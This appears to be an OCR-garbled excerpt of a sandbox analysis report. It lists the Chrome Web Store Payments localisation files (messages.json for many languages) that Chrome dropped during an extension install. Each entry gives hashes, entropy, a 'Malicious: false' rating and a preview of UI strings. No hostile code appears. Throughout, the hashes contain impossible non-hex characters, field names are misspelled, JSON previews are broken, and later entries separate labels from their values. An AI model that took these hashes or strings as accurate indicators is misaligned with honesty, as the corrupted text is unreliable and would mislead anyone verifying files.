"message": "The transaction could not be completed.”.. },.. "please_sign_in":{..  "message": "Mangyaring mag-sign in sa Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\fr\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 677

Entropy (8bit):  4.552569602149629

Encrypted: false

SSDEEP: 12:1HEJALfInbGGALf/nb+WYpU340wdgbyb+dgdQjO8ZpU34ITQpGnbyb030yZnLAO8:1HE4HNalHNE6WYpNdgpY8ZpSTQWNBOGAhO

MD5: 8D11C90F44A6585B57B933AB38D1FFF8

SHA1L: 3F9D44EA8807069A32AACA2AAADO2FD892E6CCI0

SHA-256: 599491F8C52B945C16C441ADF45BFD45AFAE046DA07757D97C56AF4DE75ED3B5

SHA-512: D7EF7F5AD7EF1A1595825D79B69E2B1E988AD3CF1F3881496FCCD30F241E4E9C6E457F9F5D0F855DE3536DB7A40C3E1C55946B50D3F556F4A35285066A0CD6!
7

Malicious: false

Reputation: low

Preview: {.. "app_description": {..  "message": "Paiements via le Chrome.Web.Store".. },.. "app_name":{..  "message": "Paiements via le Chrome.Web.Store".. },..
"craw_app_unavailable™: {..  "message": "Application indisponible pour le moment.".. },.. "craw_connect_to_network™ {.. = "message": "Veuillez vous connecter . un
rseau.".. },.. "ilap_unavailable™ {..  "message": "Les paiements via I'application ne sont pas disponibles pour le moment.".. },.. "“jwt_retrieve_failed": {..
"message": "The transaction could not be completed.”.. },.. "please_sign_in":{..  "message": "Veuillez vous connecter . Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\hi\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 835

Entropy (8bit): 4.791154467711985

Encrypted: false

SSDEEP: 24:1HEsS07J0JWYp9vnCSVLP8Zp6CsOGAOf8SLM:Wh7qgYplCMLUph1GiSLm

MD5: E376D757C8FD66AC70A7D2D49760B94E

SHAL: 1525C5B1312D409604F097768503298EC440CC4D

SHA-256: 8106D98C4F8DA16DB698444409558E29CC9I6735E188BFA303C333A5D099231C1D

SHA-512: 673F3F259AF2946E4F49BBED14A2A70D44BFOFDA9D7A71DC9172BA9B7B3C7F7062B16D29682B638D485B0520ED6F99E7A735F28C7C719B539559005B69FA755!
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Malicious: false

Reputation: low

Preview: {.. "app_description":{..  "message": "Chrome ... ..... ...... ". }.. "app_name":{.. "message": "Chrome ... ........".. },.. "craw_app_unavailable™: {..  "messa
0" s e s e e e ".. },.. "craw_connect_to_network": {.. = "message":"..... ...... . cooer ceus ".. }.. "iap_unavailable™ {..  "message": "..-
}.. jwt_retrieve_failed™: {.  "message": "The transaction could not be completed.".. },.. "please_sign_in":{..  "message": "..... Chrome

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\ _locales\hr\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 618

Entropy (8bit):  4.56999230891419

Encrypted: false

SSDEEP: 12:1HEJGiimxmbZGGGiimxmbZ+WYpU340BOEuhoplO+dgcapZ08ZpU34GiiZrMrQphK:IHE4H4TH8WYpNjTta28ZpQVLPOSOGAOK

MD5: 8185D0490C86363602A137F9A261CC50

SHA1L: 5BD933B874441CEACB9201CCC941FF67BAEDEDCO

SHA-256: A2B2EC359A9DDIDCCCE02859CE1E738BD30FAA4A05F1DC522893FFDF722BBC15

SHA-512: D7629978FCO31EA5F716F9C1065FB2FEAB48C15F10CD68830DC966FA1002C03DDC7ACDE314C7D075F9F3A0A68552A6ACBCCDEE24CF20B6C3DD1BCE6562D0
96E

Malicious: false

Reputation: low

Preview: {.. "app_description": {..  "message": "Pla.anja u web-trgovini Chrome".. },.. "app_name":{.. = "message": "Pla.anja u web-trgovini Chrome".. },.. “craw
_app_unavailable™: {..  "message": "Aplikacija trenuta.no nije dostupna.”.. },.. "craw_connect_to_network": {.. = "message": "Pove.ite se s mre.om.".. },..
"iap_unavailable™: {.. = "message": "Pla.anje u aplikaciji trenuta.no nije dostupno.”.. },.. “jwt_retrieve_failed": {..  "message": “The transaction could not be comple
ted.".. },.. "please_sign_in":{.. = "message": "Prijavite se na Chrome.".. }.}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\hu\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 683

Entropy (8bit):  4.675370843321512

Encrypted: false

SSDEEP: 12:1HEJVIIGGVJIi+WYpU34Hpo90+dgMmfgijO8ZpU34Huo90030yZnLAOFTYBIAYm:1IHEVrkSWYpQzTUg/8ZpwoXOGAOfYIAd

MD5: 85609CF8623582A8376C206556ED2131

SHA1L: 1E16EB70DB5E59BB684866FF3E3925C2DEF25A12

SHA-256: 32A249749F12ADB6A220BFOADC272C7ES5D9AD5497A38B0086D961E3ABAL7FBC6G

SHA-512: 27883430865D3CFAGEDFEBC6CE1442BD96150B5CE520CCF7D556A330CAA6392C712B47BD86F7350E174876BC681F6DEC94D1312402655B0AF90883A2899ECT7¢E

Malicious: false

Reputation: low

Preview: {.. "app_description":{..  "message": "Chrome Internetes .ruh.z Fizet.si rendszere".. },.. "app_name":{.. "message": "Chrome Internetes .ruh.z Fizet.sir
endszere".. },.. “"craw_app_unavailable": {..  "message": "Az alkalmaz.s jelenleg nem .rhet. el.".. },.. "craw_connect_to_network": {.. = "message": "K.rj.k, csatlako
zzon egy h.l.zathoz.".. },.. “iap_unavailable™ {..  "message": "Az alkalmaz.son bel.li fizet.s jelenleg nem .rhet. el.".. },.. “jwt_retrieve_failed": {.. = "message": "The
transaction could not be completed.”.. },.. “please_sign_in":{.. = "message": "Jelentkezzen be a Chrome-ba.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\id\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 604

Entropy (8bit):  4.465685261172395

Encrypted: false

SSDEEP: 12:1HEJs25bGGs25b+WYpU340RBHAeSJ+dgkmO8ZpU34s22C/SzFAs030yZnLAOfTYR:1IHEBaA6WY paHFH8ZptOYOGAOf2D

MD5: EAB2B946D1232AB98137E760954003AA

SHAL: 60BDC2937905B311D2C9844DF2D639D7ACOF7F67

SHA-256: C6E8800450602DEOF39FE9F6854472383813FB454BOSABAE7E25A9167CE004C3

SHA-512: 970FEC9A9EFOBAF7F693C4C5977F3B47914579C5B5414FCE9DBB5E4574659A5BBO9AD2DEOCC886B368F49C019785AF7D2D7FES2F71341F039EADC399ED776CA
12

Malicious: false

Reputation: low
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Preview: {.. "app_description":{..  "message": "Pembayaran Chrome Webstore".. },.. "app_name":{.. = "message": "Pembayaran Chrome Webstore".. },.. "cr

aw_app_unavailable™: {..  "message": "Aplikasi tidak tersedia saat ini.".. },.. "craw_connect_to_network": {.. = "message": "Sambungkan ke jaringan.".. },..
"jap_unavailable™: {.. = "message": "Pembayaran Dalam Aplikasi saat ini tidak tersedia.".. },.. "jwi_retrieve_failed": {..  "message": "The transaction could not be co
mpleted.".. },.. "please_sign_in":{.. = "message": "Harap masuk ke Chrome.".. }.}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\it\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 603

Entropy (8bit):  4.479418964635223

Encrypted: false

SSDEEP: 12:1HEJsqd/bGGsqd/b+WYpU340cX4+dgUviO8ZpU34vq7030yZnLAOITYsD:1HEXd/aKd/6WY pZrv58ZpskOGAOfzD

MD5: A328EEF5E841E0C72D3CD7366899C5C8

SHA1L: 2851ED658385804E87911643F5A4200B1FB26E13

SHA-256: CD891C45F7586FB4A2514205A11F260E4A6D4482FA03D901909DDIF57BE0536D

SHA-512: E47297896E981774EC3B59D41B89D6BA9333F6B4435EB9727D8645A46B10C7D408ADE06844871FA757382FBE7E645276449DB7B1B23BC59C9A71A5CB5A5ECCS

Malicious: false

Reputation: low

Preview: {.. "app_description": {..  "message": "Pagamenti Chrome Web Store".. },.. "app_name™ {.. "message": "Pagamenti Chrome Web Store".. },.. “craw_app_una
vailable™: {..  "message": "App al momento non disponibile.”.. },.. “craw_connect_to_network™ {.. = "message": "Collegati a unarete.".. },.. "iap_unavailable": {..
"message": "La funzione Pagamenti In-App non . al momento disponibile.".. },.. "jwt_retrieve_failed": {.. = "message": "The transaction could not be completed.".. },..
"please_sign_in": {..  "message": "Accedia Chrome.".. }.}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\ja\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 697

Entropy (8bit):  5.20469020877498

Encrypted: false

SSDEEP: 12:1HEJO7uGGO7u+WYpU34DB+dgnsVztO8ZpU34MwiB030yZnLAOfTYmSH: 1HEcnDNWY p1lkxU8Zp2wigOGAOfpSH

MD5: 9B3A5D473C3F2BBFAEECE94A07A940B8

SHAL: 61BACA342CF766BBA15C7B4D892A0E7DAC9405AA

SHA-256: 706312A4A2AEF3317223F141EB2B82685345B7EED444F16BB4DF3A272716DA1F

SHA-512: 94F6FEE9A11BD890AB8211C98D1CC142348961EBCF756F66477A3E3A76519804B70BEOAE4ES51739F8AFE32D7ADEGEDEO4EF6BOBIEEDO3E3A857E6058EEDD.
C6

Malicious: false

Reputation: low

Preview: {.. "app_description":{..  "message": "Chrome ........ ".. }.. "app_name":{.. "message": "Chrome ........ ".. }.. “"craw_app_unavailable™: {.  "message": "..........
....... ".. }.. "craw_connect_to_network": {..  "message" "............".. }.. "“lap_unavailable™ {.. "message": "................". }.. "“jwt_retrieve_failed" {..
"message": "The transaction could not be completed.”.. },.. "please_sign_in":{..  "message": "Chrome ............ T O

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\ko\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 631

Entropy (8bit):  5.160315577642469

Encrypted: false

SSDEEP: 12:1HEJ1GG1+WYpU34K3aT+dgh8dOHTO8ZpU34KaNkaT030yZnLAOFTY/YeHx: 1HEajWY pc3aSI0Hg8ZpcekasOGAOfy YA

MD5: 9F6B4D82A70C74CA751E2EAE7OFABSCF

SHAL: 0534F125FFCE8222277CF2BE3401C59DAF9217F8

SHA-256: D1467B8D037114403E8FAEFC52E88C4A7FEB96126BEACFF883FEFF1084EF7EGS

SHA-512: ED9319830314385D09C06F62EE34186E8CA576C857981205E4468A28B3ACD2AB03384E77B866032C324ABDD97A56EFDOSE2D6EOC79D563578B3EC52517819BD

Malicious: false

Reputation: low

Preview: {.. "app_description":{..  "message": "Chrome. .....".. }.. "app_name":{.. "message": "Chrome......".. },.. "craw_app_unavailable":{.. = "message": "........
..... ".. }.. "craw_connect_to_network™ {..  "message™: ".........".. },.. "iap_unavailable": {..  "message":"..............".. }.. "jwt_retrieve_failed" {..
message": "The transaction could not be completed.".. },.. "please_sign_in":{..  "message": "Chrome. ....... R O
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C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\lt\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 665

Entropy (8bit):  4.66839186029557

Encrypted: false

SSDEEP: 12:1HEJpgHNKGGpgHNk+WYpU346M+dgV608ZpU34WzSWz030yZnLAOFTYx:1HELqHtKgHPWYpM3A8ZpwGzOGAOfg

MDS5: 4ACA644F875606986A9898D04BDAE3EAS

SHAL: 722A10569E93975129D67FBDB75B537D9D622AD1

SHA-256: 7C311AB751D840D750C11553C083785813E079C1D464FE568A98CIE3EF3DB96C

SHA-512: E575E3D0622F5BD4B6COEE79128A1B1F1882195670139D1983F4377D847141B8FBSEBB8BCED82AF3A220ED07D3577AFBE085BADCOEIC7678292B80E3EC5D34-
4

Malicious: false

Reputation: low

Preview: {.. "app_description": {..  "message": ".Chrome. internetin.s parduotuv.s mok.jimo sistema".. },. "app_name": {.. "message": ".Chrome. internetin.s parduotuv.s
mok.jimo sistema".. },.. “"craw_app_unavailable™: {.. = "message": "Programa .iuo metu negalima.".. },.. “craw_connect_to_network™ {..  "message": "Prisijunkite
prie tinklo.".. },.. "iap_unavailable™: {..  "message": "Mok.jimai programoje .iuo metu negalimi.".. },.. "jwt_retrieve_failed": {.. = "message": "The transaction could
not be completed.".. },.. "please_sign_in":{.. = "message": "Prisijunkite prie .Chrome..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\lv\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 671

Entropy (8bit):  4.631774066483956

Encrypted: false

SSDEEP: 12:1HEJFhVbGGFhVb+WYpU34wDoz+dgGedBO8ZpU34wF030yZnLAOfTYGYID:1IHENQKKWYp2Doy/em8Zp2WOGAOfRYID

MD5: C5CE2C51391EAFD3DA9E4CT71549A3C28

SHA1L: 1F67FF6EF6E90COCE3AAFS56ED5S543A3EFD381574D

SHA-256: 1FA1DF2CA8516DEF490FB8484E9AA498ACFF80EEFS5C9258FFE42D3678E6C7DED

SHA-512: C85F6281E682F52BC2147DEA7E2F3BB4DC48D98BADA8687B05C6C7271C78EATF5431CD51671A4184C9AEQ04FC53C016E3C594697F483195CCBAOSA93821EEF
0

Malicious: false

Reputation: low

Preview: {.. "app_description": {..  "message": "Chrome interneta veikala maks.jumu sistma“.. },.. “"app_name" {.. “message": "Chrome interneta veikala maks.jumu s
istma".. },.. "craw_app_unavailable™: {..  "message": "Lietotne pagaid.m nav pieejama.".. }.. “craw_connect_to_network™ {..  "message": "L.dzu, izveidojiet
savienojumu ar t.klu.".. },.. “iap_unavailable": {..  "message": "Maks.jumi lietotn.s pa.laik nav pieejami.".. },.. "jwt_retrieve_failed": {..  "message": "The transacti
on could not be completed.”.. },.. “please_sign_in":{..  "message": "L.dzu, pierakstieties p.rl.k. Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\nb\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 624

Entropy (8bit):  4.555032032637389

Encrypted: false

SSDEEP: 12:1HEJhIOGGhiO+WYpU340HSN+dgFjdGFZ08ZpU34JgdN030yZnLAOSTYiD:1HEDIiHIitWYpCYJ8ZpD1OGAOfRD

MDS5: 93C459A23BC6953FF744C35920CD2AF9

SHA1L: 162F884972103A08ADB616A7EB3598431A2924C5

SHA-256: 2CD700AEB57D89C2E73333D0702556EE3FF3863516170F85669BC680FCBDC4EOD

SHA-512: F76E6E8D8499306883C3EC1E774F7E8BB6B601096DA5A14D17D3E7D5732829542041E42B7350466589291ADCC83FB065FD591B4E20CFCF8EDC586E128ECBFCE
5

Malicious: false

Reputation: low

Preview: {.. "app_description":{..  "message": "Chrome Nettmarked-betalinger".. },.. "app_name" {. "message": "Chrome Nettmarked-betalinger".. },.. "craw_app
_unavailable™ {..  "message": "Appen er utilgjengelig for .yeblikket.".. },.. “"craw_connect_to_network™ {..  "message": "Du m. koble til et nettverk.".. }.. “iap
_unavailable™ {..  "message": "Betaling i app er ikke tilgjengelig for .yeblikket.".. },.. "jwt_retrieve_failed": {.. = "message": "The transaction could not be complet
ed.".. },.. "please_sign_in":{.. "message": "Du m. logge p. Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\ _locales\nl\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
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File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

ASCII text, with CRLF line terminators

dropped

615

4.4715318546237315

false
12:1HEJIQGKbGGIQGKb+WYpU340QKJIT+dgiXUmvFZ0O8ZpU34g7JT030yZnLAOFTYMD:1HErxkagxk6 WY ptndXI8ZpTOGAOfbD
7A8F9D0249C680F64DEC7650A432BD57

53477198AEE389F6580921B4876719B400A23CAL
92BE7C2DCI9CFBE5SA65E9CE6488D364C8D7EC19E7B67A31E4D43C1CB2B169671C

969AB979546A741COF3EDBEEB21BABA375FA8870D4FB9248CDD4C305736E332E10CAB7B64C5C078E6G0ECOCD73848101B390BE8F44B89C310058AF4C1CA3CS8/
A7

false

low

{.. "app_description":{..  "message": "Betalingen via Chrome Web Store".. },.. "app_name":{.. "message": "Betalingen via Chrome Web Store".. },.. "cr
aw_app_unavailable™: {..  "message": "App momenteel niet beschikbaar.".. },.. “"craw_connect_to_network™ {..  "message": "Maak verbinding met een netwerk."..
},.. "iap_unavailable™ {..  "message": "In-app-betalingen is momenteel niet beschikbaar.".. },.. "jwt_retrieve_failed": {.. = "message": "The transaction could not be
completed.".. },.. "please_sign_in":{..  "message": "Log in bij Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\ _locales\pl\messages.json

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with CRLF line terminators

dropped

636

4.646901997539488

false
12:1HEJbiVbGGbiVb+WYpU340BHIBi9+dgQUg608ZpU34bdbfilu030yZnLAOTYR5k: 1IHE5SIVauiVeWY plAYr8ZpxFiaOGAOfIC
0E6194126AFCCD1E3098D276A7400175

EB8127B905A640B1C46362FAGE1127BE172F4A40F
E2699F98C511B18A2AFB82EAE9A4804B646C4FF1077D80E77C17A3943A6373C2

A71F7C7BFBBF1E37E699601AF2E095C56CBA91F90CB7556477DF31D01B83ADFB1271E1775C9BA299FF6875BBFC2B6AB47488CC88E33DEF2F6F2EOESACG87B7
7

false

low

{.. "app_description": {..  "message": "P.atno.ci w sklepie Chrome Web Store".. },.. "app_name":{.. = "message": “P.atno.ci w sklepie Chrome Web Store".. },..
“craw_app_unavailable™ {.. ~ "message": "Aplikacja jest obecnie niedost.pna.”.. },.. “craw_connect_to_network™ {..  "message": "Po..cz si. z sieci..".. },..
“iap_unavailable™: {.. ~ "message": "P.atno.ci w ramach aplikacji s. teraz niedost.pne.”.. },.. “jwt_retrieve_failed": {.. ~ “"message": "The transaction could not be com

pleted.”.. },.. "please_sign_in":{.. = "message": “Zaloguj si. w Chrome.".. }.}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\ _locales\pt_BR\messages.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with CRLF line terminators

dropped

636

4.515158874306633

false
12:1HEJsc/bGGsc/b+WYpU340Lw+dgn/KzO8ZpU34FjIBMwWGRO030yZnLAOfTYN+KcY:1HEb/a8/6WYp4mZ8Zp7cKIOGAOT2tD
86A2B91FA18B867209024C522ED665D5

63DEC245637818C76655E01FCB6D59784BC7184E
6374880FDD1F8AF1EESBAEAGA06B73BEOAB265AFCEB4FEGFO8BDE3B3989264B21
DA6DBDES5028756421C2904F605632EE98831A25A1247E6238A931629B94CE8AO0FD76F4235F118D2167304BD60F2C06B2AD78E54FF6CES3F8C38DF8C7B5AFCE

false

low

{.. "app_description":{.. = "message": "Pagamentos da Chrome Web Store".. },.. "app_name": {..  "message": "Pagamentos da Chrome Web Store".. },.. "craw
_app_unavailable™: {.  "message": "Aplicativo indispon.vel no momento.".. },.. "craw_connect_to_network": {.. = "message": "Conecte-se a umarede.".. },..
"iap_unavailable": {..  "message": "No momento, os Pagamentos no aplicativo n.o est.o dispon.veis.".. },.. "jwt_retrieve_failed": {..  "message": "The transaction
could not be completed.”.. },.. “"please_sign_in":{..  "message": "Fa.alogin no Google Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\pt_PT\messages.json

Process:
File Type:
Category:

C:\Program Files\Google\Chrome\Application\chrome.exe
UTF-8 Unicode text, with CRLF line terminators

dropped
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

622

4.526171498622949

false

12:1HEJSZUKbGGsZUkb+WY pU340AE+dgqxKzO8ZpU34rEpBfvPO030yZnLAOFTYLD:1IHEMUka5Uk6WY pFvdxZ8ZpSTnPIOGAOS
750A4800EDB93FBE56495963F9FB3B94

8BFB915488A4EB3CB33D68E2E59F1F8447DB7D61
C1C94F65FABAF17DEF98A8587711A56D61B1E5607500E9B01F2824DB109F9ES3

2AEDEF5793406221BE76AF22031CE8C30AB5FAEAED09BB394C153E2EBE990C89C1A2A73B40D8A92842641AFCABC77FFD808A2058602D3646FD8DAE2844406F
24

false

low

{.. "app_description":{..  "message": "Pagamentos via Chrome Web Store".. },.. "app_name":{..  "message": "Pagamentos via Chrome Web Store".. },.. "cr
aw_app_unavailable™ {..  "message": "Aplica..o atualmente indispon.vel.".. },.. “craw_connect_to_network™ {..  "message": "Ligue-se a uma rede.".. },..
"jap_unavailable™: {..  "message": "Os Pagamentos na app est.o atualmente indispon.veis.".. },.. "jwt_retrieve_failed": {.. = "message": "The transaction could not be
completed.".. },.. "please_sign_in":{..  "message": "Inicie sess.o no Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\ro\messages.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with CRLF line terminators

dropped

641

4.61125938671415

false
12:1HEJQIrIZGGqIrdZ+WYpU344HIx2Z+dgrVPIZO8ZpU34qT7hI30030yZnLAOFTYU: IHEC4D8WY pKow8WV68ZpKhoOGAOfoVGD
98D43E4B1054A65DF3FA3CC40AB6FB6D

46E0A21C4DA2BB5D4D8F837AE211C1B6FA26E7E2
113A13900CBA62FEBAED06751971C23A80A99B47FIBE219CF884D57DB19611D9

A76DC53912A4F46714926B9EA2B22E909540E447F61F6DD72607AB7B3BB5D4A9B39E525B04C33AEC53BA813D14AC1FB5827275B2524E52B693E83171E1CD146!

false

low

{.. "app_description": {..  "message": "Pl..i prin Magazinul web Chrome".. },.. "app_name":{.. "message": "Pl.i prin Magazinul web Chrome".. },.. "cr
aw_app_unavailable™: {..  "message": ".n prezent, aplica.ia nu este disponibil..".. },.. “craw_connect_to_network™ {.. = "message": "Conecteaz.-te laore.ea.".. },.
“iap_unavailable™: {..  "message": "Pl..ile .n aplica.ie nu sunt disponibile momentan.".. },.. "jwt_retrieve_failed": {..  "message": "The transaction could not be ¢
ompleted.".. },.. "please_sign_in":{.. "message": "Conecteaz.-te la Chrome.".. }.}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\ru\messages.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with CRLF line terminators

dropped

744

4.918620852166656

false
12:1HEJ70JHZMSI3ZGG70JHZMSI3Z+WYpU34zWJI2F+dgVtLSv/TO8ZpU347NW|T030n:1HEIOIHZMq4uOIHZMg8WYpdWJ/YGHg8m
DB2EDF1465946C06BD95C71A1E13AE6G4

FB4F3ECE9ECECEBBC6CA2A592A15FBI9C1FDFB811
FBAF22CE6E16DE174CED8CB5EA3098CCA1C3426A2111FF33BD3E64DAG4ED67AB

4EOCFO0BAEF1757548DEB17BBE1AF55770A0A0F7351779EF55C7DEFA6D112D0227B8865C2C22E0EC62E6E2F1C8E1632A2D0CEG828D25C5ABBF143C990116F6
32

false

low

{.. "app_description": {..  "message": ". Chrome".. },.. "app_name":{.. "message": " Chrome".. },.. “"craw_app_u
navailable": {..  "message": "....... ... . “craw_connect_to_network": {..  "message": },.. "iap_unavailable™ {..  "message":
..................... ".. }.. "jwt_retrieve_failed": {..  "message": "The transaction could not be completed.".. },.. "please_sign_in":{..  "message": "........ Chrome.".. }..
}.

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\sk\messages.json

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Encrypted:

C:\Program Files\Google\Chrome\Application\chrome.exe
UTF-8 Unicode text, with CRLF line terminators

dropped

647

4.640777810668463

false
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SSDEEP: 12:1HEJfZGGIZ+WYpU340RO+dgmmCO8ZpU34yH7u2Z030yZnLAOfTYCUAIOD:1HEIAG8WY petPmD8ZpcH7aOGAOfzUeD

MDS5: 8DF215D1EFBDABB175CCDD6BEDSDCBOA

SHAL: 2B374462137A38589A73FDD00A84CBDC7E50F9F4

SHA-256: 7FA16AF97E6CFC52EC6008EB679D3F30E7E0C24F9EF2D18A9228EAFADEDID63B

SHA-512: COE623343BDAEB4731800D183B59F2FCFE285F0C7153EC99641FD84F2F2DCFE47D21E73F3D28B1240340453C5668EBOAFFBE087AAB6G2F1C88CD2A40CC44E59
D

Malicious: false

Reputation: low

Preview: {.. "app_description":{.. ~ "message": "Platby Internetov.ho obchodu Chrome".. },. "app_name":{.. "message": "Platby Internetov.ho obchodu Chrome".. },..
"craw_app_unavailable": {..  "message": "Aplik.cia moment.Ine nie je dostupn..".. },.. "craw_connect_to_network™ {..  "message": "Pripojte sa k sieti.".. },..
"jap_unavailable": {..  "message": "Platby v aplik.cii moment.Ine nie s. k dispoz.cii.".. },.. "jwt_retrieve_failed": {..  "message": "The transaction could not be com
pleted.".. },.. "please_sign_in":{..  "message": "Prihl.ste sa do prehliada.a Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\sl\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 617

Entropy (8bit):  4.5101656584816885

Encrypted: false

SSDEEP: 12:1HEJGcyvmbZGGGeyvmbZ+WYpU340BOEtf+dgcalZ08ZpU34GcQArERf030yZnLh:1HE4cyY4TcyY8WYpNoWalw8ZpQcQBAfK

MD5: 3943FA2A647AECEDFD685408B27139EE

SHA1L: 0129DD19D28373359530B3B477FE8A9279DABB7D

SHA-256: 18AFF072EEODF7C3495045435C752A805606E6D5D462EF2321C443F1773F4B3A

SHA-512: 42E62B3855611FF2E1D39C11404CB1A09825EE4CA6ABACB3FF538B4574388F549E3BD79137DD4DC128A8DC44DD270D7D878E4AAD20DA8250A5C25297BODEC!H
9D

Malicious: false

Reputation: low

Preview: {.. "app_description": {..  "message": "Pla.ila v spletni trgovini Chrome".. },.. "app_name": {.. "message": "Pla.ila v spletni trgovini Chrome".. },.. "craw_app
_unavailable™ {..  "message": "Aplikacija trenutno ni na voljo.".. },.. “craw_connect_to_network": {..  "message": "Pove.ite se z omre.jem.".. },.. “iap_unavailabl
e":{.. "message": "Pla.ila v aplikacijah trenutno niso na voljo.".. },.. “jwt_retrieve_failed": {..  "message": "The transaction could not be completed.”.. },.. "
please_sign_in": {.. ~ "message": "Prijavite se v Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\sr\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 743

Entropy (8bit):  4.913927107235852

Encrypted: false

SSDEEP: 12:1HEJssbdOGGssbdO+WYpU347xBP+dgcucO8ZpU34s1muP030yZnLAOfTYzDYD:1HEKsb59sh TWY pIx4Xud8ZpylmNOGAOvV

MD5: D485DF17F085B6A37125694F85646FD0

SHA1L: 24D51D8642CDC6EFD5D8D7A4430232D8CDE25108

SHA-256: 7FFDE34C58E7C376C042DE64DEF6481DAE32BESB70FOB18EDF536290CBEOC818

SHA-512: ODDECFD860E99290B6C3AAA04F510272AE081CF2D93ED5832D9D6378ECID36177FFBE213471247FB94721EA34A83E7665669200047091D0OFDE134E3D763217E

Malicious: false

Reputation: low

Preview: {.. "app_description":{..  "message": "........ Chrome LML) Mapp_name™:{.  "message":" Chrome ...-. }... “craw_app_unavailable™: {..
"message": " ".. }.. "craw_connect_to_network™ {..  "message": " ".. }.. "iap_unavailable™ {..  "message":"....... ...t i
........... ".. }.. "jwt_retrieve_failed™: {..  "message": "The transaction could not be completed.".. },.. "please_sign_in": {..  "message" "........... Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\sv\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 630

